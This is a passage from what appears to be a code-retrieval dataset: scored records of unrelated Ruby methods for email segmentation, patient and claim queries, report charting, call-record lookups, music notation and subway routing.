FROM ent.[ET_UNSUB] GlobalUnsubs WHERE GlobalUnsubs.email_address = Whole.email_address )\")\n \n versions.each do |v|\n list = (v.audience_list.split(',').collect { |a| \"'\" + a.lstrip + \"'\" }).join(', ')\n segmentations << segment.script(\"SELECT * FROM [$$treatment_name$$_WAU] WHERE email_version IN (#{list})\") \n end\n \n segmentations;\n end", "title": "" }, { "docid": "91fe8f9e3d51e90b0a0ab3590b7e106a", "score": "0.46214262", "text": "def get_bpd()\n\t\tbpd_patients = [225852588, 1523189252, 598856733, 608962592, 296166433, 16284706, 1956375589, 1107458226, 973227060, 2534848567, 22551612, 2634699844, 3362598982, 418408523, 240034893, 999428179, 826747988, 2873332822, 468366424, 116822107, 2997792101, 21092452, 2521396327, 1965159528, 236269677, 612987752, 80409724, 1472446590, 1369611404, 275718291, 3044144277, 537878682, 3071585439, 18064547, 2808969381, 1040789676, 1419858097, 2480699582, 1344779467, 1566058700, 2871874765, 586255574, 245219549, 2879552746, 997584109, 890409216, 2302976264, 2687654158, 1104536850, 1087659283, 1147083032, 1223074080, 384487714, 2699715876, 1941395749, 3301098796, 478091568, 2997538097, 2754306367, 259181892, 2950023496, 779130192, 312914266, 1096422758, 3353686378, 13009262, 311756151, 2711712128, 1431297410, 16081286, 221353356, 964256144, 2976785207, 2827170195, 108637252, 3293205915, 47967647, 2351302048, 1287172507, 951487916, 85176749, 51012014, 605200816, 149463624, 404322747, 20557244, 851091902, 2195611076, 449616665, 1352465874, 1434508758, 2659042212, 590388700, 1695357414, 2787124722, 1499293171, 222047488, 34318852, 955956744, 2357181962, 2337393168, 135964180, 2830685717, 60524054, 1599439393, 275984930, 2253016615, 92502577, 78240308, 859243062, 1689516600, 2925223485, 2933232196, 236482117, 3196047943, 2179200584, 545525516, 3047890520, 3178041952, 2975297152, 20194945, 761451138, 53754646, 523597454, 942202136, 493569687, 35486369, 270461605, 2325477030, 1171197608, 2531639068, 89842347, 3027488429, 562501294, 749849264, 1157997235, 3375417016, 1680938684, 45728445, 844221126, 28910279, 3283787468, 501824802, 1974223567, 2773499605, 1074974424, 620017370, 335988448, 2914552553, 220497652, 598213371, 2402038525, 561379072, 21823233, 464961283, 1615874822, 439179905, 1198315274, 139908880, 2173474581, 123687707, 2424064796, 546805534, 67405445, 995198754, 2874378024, 60079580, 30621487, 859332414, 1112651587, 1357902660, 2775696182, 3231349576, 23874379, 2347690564, 630949721, 143616860, 2844949343, 2320312174, 1257706351, 2200418160, 184095624, 581988233, 2767717274, 977449884, 1045167511, 386464679, 240864176, 1222900213, 325980108, 1435697101, 3254195151, 496109521, 2732336092, 134246394, 3049541599, 35887077, 2515279847, 55588847, 451615743]\n\t\tbpd_patients.sample\n\tend", "title": "" }, { "docid": "8776f63c9d9530e8bb0c841bd59713c6", "score": "0.46122336", "text": "def patients\n Observation.select('patient_id, birthdate, patient_current_regimen(patient_id, obs_datetime) as regimen')\n .joins(:encounter)\n .joins('INNER JOIN person USING (person_id)')\n .where(concept_id: ConceptName.find_by_name('Viral load').concept_id,\n obs_datetime: (start_date..end_date),\n value_numeric: viral_load_range)\n .merge(Encounter.where(encounter_type: EncounterType.find_by_name('LAB ORDERS').encounter_type_id))\n .group(:person_id)\n .order(obs_datetime: :desc)\n end", "title": "" }, { "docid": "f3d3ab7ec16662bacd093297077e923b", "score": "0.4599157", "text": "def claim_payment_loop\n claim_payment_segments = []\n @clp_pr_amount = nil\n claim_payment_segments << claim_payment_information\n claim_payment_segments << quantity\n service_eob = @services.detect{|service| service.adjustment_line_is? }\n if service_eob\n cas_segments, @clp_pr_amount, crosswalked_codes = Output835.cas_adjustment_segments(service_eob,\n @client, @facility, @payer, @element_seperator)\n claim_payment_segments << cas_segments\n end\n if @is_claim_eob\n cas_segments, @clp_05_amount, crosswalked_codes = Output835.cas_adjustment_segments(@eob,\n @client, @facility, @payer, @element_seperator)\n claim_payment_segments << cas_segments\n end\n claim_payment_segments << service_prov_identifier\n if @is_claim_eob\n claim_payment_segments << Output835.claim_level_remark_code_segments(@eob, @element_seperator, crosswalked_codes)\n end\n claim_payment_segments << image_page_name\n claim_payment_segments << medical_record_number\n claim_payment_segments << other_claim_related_id\n claim_payment_segments.compact\n end", "title": "" }, { "docid": "7f20668267a29dc7dab80d1a08e0fa4e", "score": "0.45559767", "text": "def serviceLane(n, cases, width)\r\n # Write your code here\r\n allowedWidth = []\r\n finalResult = []\r\n cases.each do |tcase|\r\n (tcase[0]..tcase[1]).each do |indicie|\r\n allowedWidth << width[indicie]\r\n end\r\n finalResult << allowedWidth.sort.first\r\n allowedWidth = []\r\n end\r\n return finalResult\r\nend", "title": "" }, { "docid": "5b29670a3af4e2134783a21b3389513e", "score": "0.45553577", "text": "def report_load_labels\r\n\r\n case @x_type\r\n when :string\r\n return @x_labels = Access.all(:select => \"DISTINCT(`#{@x_field}`)\").map{|r| r.send(@x_field)}\r\n when :static_list\r\n return @x_labels = Access.const_get(@x_field.pluralize.upcase)\r\n when :bt_assoc\r\n return @x_labels = Access.reflect_on_association(@x_field.to_sym).klass.all\r\n end\r\n @x_range = if params[:x_range] # range is given\r\n case @x_type\r\n when :integer\r\n params[:x_range].split('..').map(&:to_i)\r\n when :float, :double\r\n params[:x_range].split('..').map(&:to_f)\r\n when :date, :datetime\r\n rg = params[:x_range].split('..').map(&:to_i)\r\n @x_min = Time.now + rg.first.days\r\n @x_max = Time.now + rg.last.days\r\n rg\r\n end\r\n else\r\n @x_min = Access.minimum(@x_field)\r\n @x_max = Access.maximum(@x_field)\r\n case @x_type\r\n when :integer, :float, :double\r\n when :date, :datetime\r\n [((@x_min - Time.now) / 86400).round, ((@x_max - Time.now) / 86400).round]\r\n end\r\n end\r\n if true\r\n case @x_type\r\n when :integer, :float, :double\r\n @x_min, @x_max = @x_range\r\n params[:x_steps] ||= (@x_max.to_f - @x_min.to_f) / 10.0\r\n @x_steps = params[:x_steps].to_f\r\n @x_steps = 0.1 if @x_steps == 0\r\n @x_labels = [@x_min]\r\n while(@x_labels.last <= @x_max) do\r\n @x_labels << @x_labels.last + @x_steps\r\n end\r\n when :date, :datetime\r\n @x_steps = case params[:x_steps]\r\n when \"month\"\r\n 30\r\n when \"week\"\r\n 7\r\n else\r\n if !params[:x_steps] || params[:x_steps].to_i == 0\r\n (@x_range.last - @x_range.first).round / 10.0\r\n else\r\n params[:x_steps].to_i\r\n end\r\n end\r\n @x_steps = 1 if @x_steps == 0\r\n @x_min ||= Time.now + @x_range.first.days\r\n @x_max ||= Time.now + @x_range.last.days\r\n @x_labels = [@x_min]\r\n logger.debug(\"\\t (#{@x_min})..(#{@x_max}) - #{@x_steps} days step\")\r\n 200.times {\r\n break if @x_labels.last > @x_max\r\n @x_labels << @x_labels.last + @x_steps.days\r\n }\r\n end\r\n else # no params[:x_range] => need to guess range\r\n case @x_type\r\n when :integer, :float, :double\r\n @datasets.each_with_index { |h,i|\r\n d = h[:values]\r\n if !@x_min\r\n @x_min = d.min\r\n else\r\n d_min = d.min\r\n @x_min = d_min if d_min < @x_min\r\n end\r\n if !@x_max\r\n @x_max = d.max\r\n else\r\n d_max = d.max\r\n @x_max = d_max if d_max > @x_max\r\n end\r\n }\r\n params[:x_steps] ||= (@x_max.to_f - @x_min.to_f) / 10\r\n @x_steps = params[:x_steps].to_f\r\n @x_steps = 0.1 if @x_steps == 0\r\n end\r\n case @x_type\r\n when :integer, :float, :double\r\n if params[:x_ticks]\r\n end\r\n when :static_list\r\n when :date, :datetime\r\n end\r\n end\r\n end", "title": "" }, { "docid": "2fab1b9dcabd2bb40cf59febdbddfff7", "score": "0.45361236", "text": "def current_diagnoses\n self.encounters.current.all(:include => [:observations]).map{|encounter| \n encounter.observations.active.all(\n :conditions => [\"obs.concept_id = ? OR obs.concept_id = ?\", \n ConceptName.find_by_name(\"OUTPATIENT DIAGNOSIS\").concept_id,\n ConceptName.find_by_name(\"OUTPATIENT DIAGNOSIS, NON-CODED\").concept_id])\n }.flatten.compact\n end", "title": "" }, { "docid": "a7bd30212e788b0757dd5759b8087c46", "score": "0.45201805", "text": "def get_call_records(type=:standard, interval=:current, subset=:international)\n if subset == :international\n # Prefix the NPAs with \"1\" optionally (we're using regexp on the terms).\n search_list = VAUtil.config['intl_npa_list'].map { |m| \"1?\" << m }\n # for internationl do a search for anything prefixed 011\n search_list << \"011\"\n thresholds = VAUtil.config['threshold']\n if (interval == :past)\n data_range = \"1:05\" # hours and minutes\n end_interval = \"5\"\n else\n data_range = 1 # In hours\n end\n else\n search_list = VAUtil.config['dom_npa_list'].map { |m| \"1?\" << m }\n thresholds = VAUtil.config['dom_threshold']\n if (interval == :past)\n data_range = \"3:15\" # hours and minutes\n end_interval = \"15\"\n else\n data_range = 3 # In hours\n end\n end\n\n call_records = CallRecords.new(self, interval, thresholds)\n\n # Past or present?\n if (interval == :past)\n time_span = \"calldate > DATE_SUB(NOW(), INTERVAL '#{data_range}' HOUR_MINUTE) AND calldate <= DATE_SUB(NOW(), INTERVAL #{end_interval} MINUTE)\"\n else\n time_span = \"calldate > DATE_SUB(NOW(), INTERVAL '#{data_range}' HOUR)\"\n end\n \n # TODO: de-dup\n if (type == :fax)\n VAUtil.config['fax_dsn_list'].each do |fax|\n db_link = get_dblink(DBInfo.new(fax['host'], fax['user'], fax['pass'], fax['name']))\n\n search_list.each do |term|\n query = \"SELECT src, COUNT(src) FROM cdr WHERE dcontext LIKE '%faxout%' AND lastdata REGEXP '^SIP/9#{term}' AND #{time_span} GROUP BY src\"\n results = list_query(query, db_link)\n results.each do |r|\n src = r[0]\n count = r[1]\n\n # Get the branch of for this src. If that fails requery the gateway and find it with\n # call details.\n branch_id = get_branch_id_with_tn(src)\n if branch_id.nil?\n dst = run_select_query(\"SELECT dst FROM cdr WHERE dcontext LIKE '%faxout%' AND lastdata REGEXP '^SIP/9#{term}' AND #{time_span} AND src = '#{src}'\", db_link)\n branch_id = get_branch_id_with_call_example(fax['host'], src, dst)\n end\n # it's possible call example path will fail too, skip if necessary\n if !branch_id.nil?\n call_records.add(src, count, branch_id)\n end\n end\n end\n db_link.close\n end\n else\n VAUtil.config['agw_dsn_list'].each do |agw|\n db_link = get_dblink(DBInfo.new(agw['host'], agw['user'], agw['pass'], agw['name']))\n\n search_list.each do |term|\n query = \"SELECT src, COUNT(src), accountcode FROM cdr WHERE dst REGEXP '^#{term}' AND #{time_span} AND dcontext REGEXP '^sbc' GROUP BY src\"\n results = list_query(query, db_link)\n results.each do |r|\n src = r[0]\n count = r[1]\n fs = r[2]\n \n # Get the branch of for this src. If that fails requery the gateway and find it with\n # call details.\n branch_id = get_branch_id_with_tn(src)\n if branch_id.nil?\n dst = run_select_query(\"SELECT dst FROM cdr WHERE dst REGEXP '^#{term}' AND #{time_span} AND src = '#{src}' AND accountcode = '#{fs}'\", db_link)\n \n branch_id = get_branch_id_with_call_example(\"#{fs}.coredial.com\", src, dst)\n end \n # it's possible call example path will fail too, skip if necessary\n if !branch_id.nil?\n call_records.add(src, count, branch_id)\n end\n end\n end\n db_link.close\n end\n end\n call_records\n end", "title": "" }, { "docid": "af58a001378ccd579bbf590d5c9456e4", "score": "0.45122126", "text": "def claim_payment_loop\n claim_payment_segments = []\n service_eob = nil\n @clp_pr_amount = nil\n claim_payment_segments << claim_payment_information\n eob.service_payment_eobs.collect{|service| service_eob=service if service.adjustment_line_is?}\n if !service_eob.blank?\n cas_segments, @clp_pr_amount = Output835.cas_adjustment_segments(service_eob,\n client, facility, payer, @element_seperator)\n claim_payment_segments << cas_segments\n end\n claim_payment_segments << claim_interest_information_bac # _bac methods are used for dynamic output section it will be bypassed for non_banks\n if claim_level_eob?\n cas_segments, @clp_05_amount = Output835.cas_adjustment_segments(eob,\n client, facility, payer, @element_seperator)\n claim_payment_segments << cas_segments\n end \n claim_payment_segments << patient_name\n claim_payment_segments << reference_identification_qualifier_bac\n claim_payment_segments << reference_identification_bac if !@reason_codes.blank?\n unless eob.pt_name_eql_sub_name?\n claim_payment_segments << insured_name\n end\n claim_payment_segments << service_prov_name\n claim_payment_segments << service_prov_identifier_bac\n claim_payment_segments << reference_id_bac\n claim_payment_segments << image_page_name_bac\n claim_payment_segments << other_claim_related_id\n claim_payment_segments = claim_payment_segments.compact\n claim_payment_segments unless claim_payment_segments.blank?\n end", "title": "" }, { "docid": "95bdc59483850b4ea0b52754605c6dbc", "score": "0.44954532", "text": "def claim_loop\n segments = []\n eobs.each_with_index do |eob, index|\n Output835.log.info \"\\n\\n Check number #{eob.check_information.check_number} undergoing processing\"\n Output835.log.info \"\\n\\n Check has #{eob.check_information.insurance_payment_eobs.length} eobs\"\n segments << transaction_set_line_number(index + 1)\n segments << transaction_statistics([eob])\n eob_klass = Output835.class_for(\"SingleStEob\", facility)\n eob_obj = eob_klass.new(eob, facility, payer, index, @element_seperator, @check_num,count(eob)) if eob\n Output835.log.info \"Applying class #{eob_klass}\" if index == 0\n segments += eob_obj.generate\n end\n segments = segments.flatten.compact\n segments unless segments.blank?\n end", "title": "" }, { "docid": "3c2eb51df0755429518fa6faa3dcc653", "score": "0.44875622", "text": "def vexflow\n bars = []\n self.bars.times do |i|\n # assume 3 voices max\n voices = []\n voice1 = []\n voice2 = []\n voice3 = []\n\n # buffer for excess notes\n overflow1 = []\n overflow2 = []\n\n # voice1\n self.notes.where(:bar => i).select('beat, duration').distinct.order('beat ASC').each do |n|\n if !voice1.empty?\n if voice1.last[0].end_beat < n.beat # fill in gap\n # voice1 << [{:duration => n.beat - voice1.last[0].end_beat, :drum => -1}]\n voice1.last.each do |m|\n m.assign_attributes({ :duration => n.beat - m.beat })\n end\n elsif voice1.last[0].end_beat > n.beat # overlap\n overflow_notes << n\n next\n end\n else # leading rest\n if n.beat != 0\n voice1 << [{:duration => n.beat, :drum => -1}]\n end\n end\n voice1 << self.notes.where(:bar => i, :beat => n.beat, :duration => n.duration)\n end\n\n # overflow => voice2\n overflow1.each do |n|\n if !voice2.empty?\n if voice2.last[0].end_beat < n.beat # fill in gap\n # voice2 << [{:duration => n.beat - voice2.last[0].end_beat, :drum => -1}]\n voice2.last.each do |m|\n m.assign_attributes({ :duration => n.beat - m.beat })\n end\n elsif voice2.last[0].end_beat > n.beat # overlap\n overflow2 << n\n next\n end\n else # leading rest\n if n.beat != 0\n voice2 << [{:duration => n.beat, :drum => -1}]\n end\n end\n voice2 << self.notes.where(:bar => i, :beat => n.beat, :duration => n.duration)\n end\n\n # overflow2 => voice3\n overflow2.each do |n|\n if !voice3.empty?\n if voice3.last[0].end_beat < n.beat # fill in gap\n # voice3 << [{:duration => n.beat - voice3.last[0].end_beat, :drum => -1}]\n voice3.last.each do |m|\n m.assign_attributes({ :duration => n.beat - m.beat })\n end\n elsif voice3.last[0].end_beat > n.beat # overlap\n overflow2 << n\n next\n end\n else # leading rest\n if n.beat != 0\n voice3 << [{:duration => n.beat, :drum => -1}]\n end\n end\n voice3 << self.notes.where(:bar => i, :beat => n.beat, :duration => n.duration)\n end\n\n # add trailing rests\n if voice1.any? && voice1.last[0].end_beat != self.meter_bottom\n extraRests = []\n voice1.last.each do |m|\n if self.meter_bottom - m.beat > 1\n m.assign_attributes({ :duration => 1 })\n extraRests[0] = {:duration => self.meter_bottom - m.end_beat, :drum => -1}\n else\n m.assign_attributes({ :duration => self.meter_bottom - m.beat })\n end\n end\n if extraRests.any?\n voice1 << extraRests\n end\n # voice1 << [{:duration => self.meter_bottom - voice1.last[0].end_beat, :drum => -1}]\n end\n if voice2.any? && voice2.last[0].end_beat != self.meter_bottom\n extraRests = []\n voice2.last.each do |m|\n if self.meter_bottom - m.beat > 1\n m.assign_attributes({ :duration => 1 })\n extraRests[0] = {:duration => self.meter_bottom - m.end_beat, :drum => -1}\n else\n m.assign_attributes({ :duration => self.meter_bottom - m.beat })\n end\n end\n if extraRests.any?\n voice2 << extraRests\n end\n # voice2 << [{:duration => self.meter_bottom - voice2.last[0].end_beat, :drum => -1}]\n end\n if voice3.any? && voice3.last[0].end_beat != self.meter_bottom\n extraRests = []\n voice3.last.each do |m|\n if self.meter_bottom - m.beat > 1\n m.assign_attributes({ :duration => 1 })\n extraRests = {:duration => self.meter_bottom - m.end_beat, :drum => -1}\n else\n m.assign_attributes({ :duration => self.meter_bottom - m.beat })\n end\n end\n if extraRests.any?\n voice3 << extraRests\n end\n # voice3 << [{:duration => self.meter_bottom - voice3.last[0].end_beat, :drum => -1}]\n end\n\n # full measure rest\n if voice1.empty?\n voice1 << [{:duration => self.meter_bottom, :drum => -1}]\n end\n\n # add any voices to bar\n voices << voice1\n if voice2.any?\n voices << voice2\n end\n if voice3.any?\n voices << voice3\n end\n bars << voices\n end\n\n return bars\n end", "title": "" }, { "docid": "3c1c00370377df98ea668a991b00debd", "score": "0.44780502", "text": "def sub_sector; end", "title": "" }, { "docid": "4ed98d3dc09a1d6fad234481c49c8b7d", "score": "0.44773734", "text": "def router\n\n subway_router = {\n \"n\" => [\"times square\", \"34th\", \"n line 28th\", \"23rd\", \"union square\", \"8th\"],\n \"l\" => [\"8th\", \"6th\", \"union square\", \"3rd\", \"1st\"],\n \"6\" => [\"grand central\", \"33rd\", \"line 6 28th\", \"23rd\", \"union square\", \"astor place\"]\n}\n\n # inserts the line got on and off from the HTML form into a local variale\n line_got_on = params[\"line_got_on\"]\n line_get_off = params[\"line_got_off\"]\n\n # saves the stop on and off to a local variable from the form\n stop_got_on = params[\"stop_got_on\"]\n stop_get_off = params[\"stop_get_off\"]\n\n # works out the index of the lines on and off\n first_range = subway_router[line_got_on].index(stop_got_on)\n second_range = subway_router[line_got_on].index(stop_get_off)\n\n # checks the index of the line on or off\n line_on_index = subway_router[line_got_on].index(stop_got_on)\n line_off_index = subway_router[line_get_off].index(stop_get_off)\n\n # checks unions index on your current line\n union_index_on = subway_router[line_got_on].index(\"union square\")\n union_index_off = subway_router[line_get_off].index(\"union square\")\n\n\n # checks if the line you get on at is the same as line got off\n # deals with the cross over and union indexes\n if line_get_off != line_got_on\n\n # checks if the line you got on index is less than the union index\n if line_on_index < union_index_on\n\n #checks if the line you get off index is higher than the union index\n if line_off_index > union_index_off\n\n part1 = subway_router[line_got_on][line_on_index..union_index_on]\n \"----------TRANSFER------------\"\n part2 = subway_router[line_get_off][union_index_off..line_off_index]\n\n @route = part1 | part2\n\n # checks if the line you get off index is less than the union index\n elsif line_off_index < union_index_off\n\n part1 = subway_router[line_got_on][line_on_index..union_index_on]\n \"----------TRANSFER------------\"\n part2 = subway_router[line_get_off][line_off_index..union_index_off].reverse\n\n @route = part1 | part2\n\n end\n end\n\n # checks if the line on index is higher than the union index\n if line_on_index > union_index_on\n\n # checks if the line off index is greter than the union index\n if line_off_index > union_index_off\n\n part1 = subway_router[line_got_on][union_index_on..line_on_index].reverse\n \"----------TRANSFER------------\"\n part2 = subway_router[line_get_off][union_index_off..line_off_index]\n\n @route = part1 | part2\n\n # checks the line off index is less than the union index\n elsif line_off_index < union_index_off\n\n part1 = subway_router[line_got_on][union_index_on..line_on_index].reverse\n \"----------TRANSFER------------\"\n part2 = subway_router[line_get_off][line_off_index..union_index_off].reverse\n\n @route = part1 | part2\n\n end\n end\n # if line_got_on > union_index_on\n\n # For one line trips\n else\n if (first_range < second_range)\n\n \"Your route is:\"\n\n @route = subway_router[line_got_on][first_range..second_range]\n\n elsif (second_range < first_range)\n\n \"Your route is:\"\n\n @route = subway_router[line_got_on][second_range..first_range].reverse\n\n end\n end\n\nend", "title": "" }, { "docid": "05db7e08c0e4208155d82fe1f8a393e5", "score": "0.44761944", "text": "def report_load_labels\r\n\r\n case @x_type\r\n when :string\r\n return @x_labels = DevFeedback.all(:select => \"DISTINCT(`#{@x_field}`)\").map{|r| r.send(@x_field)}\r\n when :static_list\r\n return @x_labels = DevFeedback.const_get(@x_field.pluralize.upcase)\r\n when :bt_assoc\r\n return @x_labels = DevFeedback.reflect_on_association(@x_field.to_sym).klass.all\r\n end\r\n @x_range = if params[:x_range] # range is given\r\n case @x_type\r\n when :integer\r\n params[:x_range].split('..').map(&:to_i)\r\n when :float, :double\r\n params[:x_range].split('..').map(&:to_f)\r\n when :date, :datetime\r\n rg = params[:x_range].split('..').map(&:to_i)\r\n @x_min = Time.now + rg.first.days\r\n @x_max = Time.now + rg.last.days\r\n rg\r\n end\r\n else\r\n @x_min = DevFeedback.minimum(@x_field)\r\n @x_max = DevFeedback.maximum(@x_field)\r\n case @x_type\r\n when :integer, :float, :double\r\n when :date, :datetime\r\n [((@x_min - Time.now) / 86400).round, ((@x_max - Time.now) / 86400).round]\r\n end\r\n end\r\n if true\r\n case @x_type\r\n when :integer, :float, :double\r\n @x_min, @x_max = @x_range\r\n params[:x_steps] ||= (@x_max.to_f - @x_min.to_f) / 10.0\r\n @x_steps = params[:x_steps].to_f\r\n @x_steps = 0.1 if @x_steps == 0\r\n @x_labels = [@x_min]\r\n while(@x_labels.last <= @x_max) do\r\n @x_labels << @x_labels.last + @x_steps\r\n end\r\n when :date, :datetime\r\n @x_steps = case params[:x_steps]\r\n when \"month\"\r\n 30\r\n when \"week\"\r\n 7\r\n else\r\n if !params[:x_steps] || params[:x_steps].to_i == 0\r\n (@x_range.last - @x_range.first).round / 10.0\r\n else\r\n params[:x_steps].to_i\r\n end\r\n end\r\n @x_steps = 1 if @x_steps == 0\r\n @x_min ||= Time.now + @x_range.first.days\r\n @x_max ||= Time.now + @x_range.last.days\r\n @x_labels = [@x_min]\r\n logger.debug(\"\\t (#{@x_min})..(#{@x_max}) - #{@x_steps} days step\")\r\n 200.times {\r\n break if @x_labels.last > @x_max\r\n @x_labels << @x_labels.last + @x_steps.days\r\n }\r\n end\r\n else # no params[:x_range] => need to guess range\r\n case @x_type\r\n when :integer, :float, :double\r\n @datasets.each_with_index { |h,i|\r\n d = h[:values]\r\n if !@x_min\r\n @x_min = d.min\r\n else\r\n d_min = d.min\r\n @x_min = d_min if d_min < @x_min\r\n end\r\n if !@x_max\r\n @x_max = d.max\r\n else\r\n d_max = d.max\r\n @x_max = d_max if d_max > @x_max\r\n end\r\n }\r\n params[:x_steps] ||= (@x_max.to_f - @x_min.to_f) / 10\r\n @x_steps = params[:x_steps].to_f\r\n @x_steps = 0.1 if @x_steps == 0\r\n end\r\n case @x_type\r\n when :integer, :float, :double\r\n if params[:x_ticks]\r\n end\r\n when :static_list\r\n when :date, :datetime\r\n end\r\n end\r\n end", "title": "" }, { "docid": "e613a1de7bb3c7ae03796a099a55f4e8", "score": "0.4463481", "text": "def segmentation\n # Total\n @mic[\"total\"] = status_count(@total_mic)\n\n # PACPOA: contagem separada por matriz e programa = PACPOA\n matriz_pacpoa = ['CARNE', 'LEITE', 'OVO', 'PESCADO']\n matriz_pacpoa.each do |matriz|\n segment = @total_mic.programa('PACPOA').matriz(matriz)\n @mic[\"PACPOA_#{matriz}\"] = status_count(segment)\n end\n\n # PNCP: contagem separada por programa\n pncp = ['Listeria', 'Aves', 'STEC', 'Suínos']\n pncp.each do |name|\n segment = @total_mic.programa(name)\n @mic[\"PNCP_#{name}\"] = status_count(segment)\n end\n\n # Bebidas nao alcoolicas: amostras de origem vegetal\n bebidas = @total_mic.matriz('VEGETAL')\n @mic['bebidas'] = status_count(bebidas)\n\n # Outros\n @mic['outros'] = others(@mic)\n end", "title": "" }, { "docid": "efccba5318a4876dadf4763bd8ca13bd", "score": "0.44632703", "text": "def report_load_labels\r\n\r\n case @x_type\r\n when :string\r\n return @x_labels = BgWorker.all(:select => \"DISTINCT(`#{@x_field}`)\").map{|r| r.send(@x_field)}\r\n when :static_list\r\n return @x_labels = BgWorker.const_get(@x_field.pluralize.upcase)\r\n when :bt_assoc\r\n return @x_labels = BgWorker.reflect_on_association(@x_field.to_sym).klass.all\r\n end\r\n @x_range = if params[:x_range] # range is given\r\n case @x_type\r\n when :integer\r\n params[:x_range].split('..').map(&:to_i)\r\n when :float, :double\r\n params[:x_range].split('..').map(&:to_f)\r\n when :date, :datetime\r\n rg = params[:x_range].split('..').map(&:to_i)\r\n @x_min = Time.now + rg.first.days\r\n @x_max = Time.now + rg.last.days\r\n rg\r\n end\r\n else\r\n @x_min = BgWorker.minimum(@x_field)\r\n @x_max = BgWorker.maximum(@x_field)\r\n case @x_type\r\n when :integer, :float, :double\r\n when :date, :datetime\r\n [((@x_min - Time.now) / 86400).round, ((@x_max - Time.now) / 86400).round]\r\n end\r\n end\r\n if true\r\n case @x_type\r\n when :integer, :float, :double\r\n @x_min, @x_max = @x_range\r\n params[:x_steps] ||= (@x_max.to_f - @x_min.to_f) / 10.0\r\n @x_steps = params[:x_steps].to_f\r\n @x_steps = 0.1 if @x_steps == 0\r\n @x_labels = [@x_min]\r\n while(@x_labels.last <= @x_max) do\r\n @x_labels << @x_labels.last + @x_steps\r\n end\r\n when :date, :datetime\r\n @x_steps = case params[:x_steps]\r\n when \"month\"\r\n 30\r\n when \"week\"\r\n 7\r\n else\r\n if !params[:x_steps] || params[:x_steps].to_i == 0\r\n (@x_range.last - @x_range.first).round / 10.0\r\n else\r\n params[:x_steps].to_i\r\n end\r\n end\r\n @x_steps = 1 if @x_steps == 0\r\n @x_min ||= Time.now + @x_range.first.days\r\n @x_max ||= Time.now + @x_range.last.days\r\n @x_labels = [@x_min]\r\n logger.debug(\"\\t (#{@x_min})..(#{@x_max}) - #{@x_steps} days step\")\r\n 200.times {\r\n break if @x_labels.last > @x_max\r\n @x_labels << @x_labels.last + @x_steps.days\r\n }\r\n end\r\n else # no params[:x_range] => need to guess range\r\n case @x_type\r\n when :integer, :float, :double\r\n @datasets.each_with_index { |h,i|\r\n d = h[:values]\r\n if !@x_min\r\n @x_min = d.min\r\n else\r\n d_min = d.min\r\n @x_min = d_min if d_min < @x_min\r\n end\r\n if !@x_max\r\n @x_max = d.max\r\n else\r\n d_max = d.max\r\n @x_max = d_max if d_max > @x_max\r\n end\r\n }\r\n params[:x_steps] ||= (@x_max.to_f - @x_min.to_f) / 10\r\n @x_steps = params[:x_steps].to_f\r\n @x_steps = 0.1 if @x_steps == 0\r\n end\r\n case @x_type\r\n when :integer, :float, :double\r\n if params[:x_ticks]\r\n end\r\n when :static_list\r\n when :date, :datetime\r\n end\r\n end\r\n end", "title": "" }, { "docid": "d9096c11ca9ea2a31ab1c03c8c4705ca", "score": "0.4411373", "text": "def related_patients\n _patients=[]\n under_supervision_clinics.each do |clinic|\n clinic.registrations.each do |reg|\n unless _patients.include?(reg.patient)\n _patients.append(reg.patient)\n end\n end\n end\n\n registrations.each do |reg|\n unless _patients.include?(reg.patient)\n _patients.append(reg.patient)\n end\n end\n return _patients\n end", "title": "" }, { "docid": "cc58a542d38119882d22e39098f43730", "score": "0.44020805", "text": "def find_patient_identifiers(patient)\n ['National ID', 'ARV Number'].map do |identifier_type_name|\n type = PatientIdentifierType.where(name: identifier_type_name)\n identifier = PatientIdentifier.find_by(patient: patient, type: type)\n\n identifier&.identifier\n end\nend", "title": "" }, { "docid": "7d48d67dad498d4e05605b923d51c103", "score": "0.44006282", "text": "def patient_identifiers(patient, identifier_type)\n PatientIdentifier.where(patient: patient, type: identifier_type)\n end", "title": "" }, { "docid": "8b89f3d2465720505bc53ab24ceebcb6", "score": "0.43937126", "text": "def registrations(start_dt, end_dt)\n Encounter.joins(['INNER JOIN obs ON obs.person_id = encounter.patient_id'])\n .where(['program_id = ? AND encounter_type = ? AND obs.concept_id = ? AND\n DATE(encounter_datetime) >= ? AND DATE(encounter_datetime) <= ? AND encounter.voided = 0',\n PROGRAM.id, CURRENT_PREGNANCY.id, LMP.concept_id, start_dt.to_date, end_dt.to_date])\n .select(['MAX(value_datetime) lmp, patient_id'])\n .group([:patient_id]).collect(&:patient_id).uniq\n end", "title": "" }, { "docid": "d14ba9198a7a84126834a8d9327c9dbf", "score": "0.43771514", "text": "def ld_hl_sp_plusr8\n end", "title": "" }, { "docid": "6852031aded4d7829664fc47bc984b6b", "score": "0.43740886", "text": "def getting_stops on_line, on_stop, off_line, off_stop\n\tstops = []\n\n\tif is_same_line(on_line, off_line)\n\t\texit if on_line.index(on_stop) == on_line.index(off_stop) \n\t\t\t\n\t\tstops << (on_line[ on_line.index(on_stop)..on_line.index(off_stop) ]) \n\t\t\"you have to travel through: #{ stops.join(\" -> \") }\"\n\n\telse\n\t\tif is_left_to_union(on_line, on_stop, \"Union Square\")\n\t\t\tstops << on_line[on_line.index(on_stop)..on_line.index(\"Union Square\")]\n\n\t\telse\n\t\t\tstops << on_line[on_line.index(\"Union Square\")..on_line.index(on_stop)].reverse\n\t\tend\n\n\t\tif is_left_to_union(off_line, off_stop, \"Union Square\")\n\t\t\tstops << off_line[off_line.index(off_stop)..off_line.index(\"Union Square\")].reverse\n\n\t\telse\n\t\t\tstops << off_line[off_line.index(\"Union Square\")..off_line.index(off_stop)]\n\t\tend\n\n\t\t# delete \"Union Square\" from stops[1] as it is duplicate with stops[0]\n\t\tstops[1].shift\n\n\t\t\"You have to travel through: #{ stops[0].join(\" -> \") }\\n Change at: Union Square\\n Your travel continues through: #{ stops[1].join(\" -> \") }\\n The total number of stops you have to travel is: #{ stops.flatten.length }\"\n\tend\nend", "title": "" }, { "docid": "1588e190988819fee35139600c1e3f76", "score": "0.43678042", "text": "def processPatient_process_patient_healthy(patient)\n if @state[COMMITMENT].any? {|terms| terms.size == 4 and terms[0] == C1 and terms[3] == patient and state(PATIENT, patient) and state(PHYSICIAN, terms[2])}\n yield [\n ['performImagingTests', patient],\n ['performPathologyTests', patient],\n ['deliverDiagnostics', patient]\n ]\n end\nend", "title": "" }, { "docid": "a9095e5a42516fc2793b5043d20cd4b6", "score": "0.43629545", "text": "def read_trim_params\n # compensation parameter register mapping\n Calibration = Struct.new(\n # Register Address Register content Data type\n :dig_T1, # 0x88 / 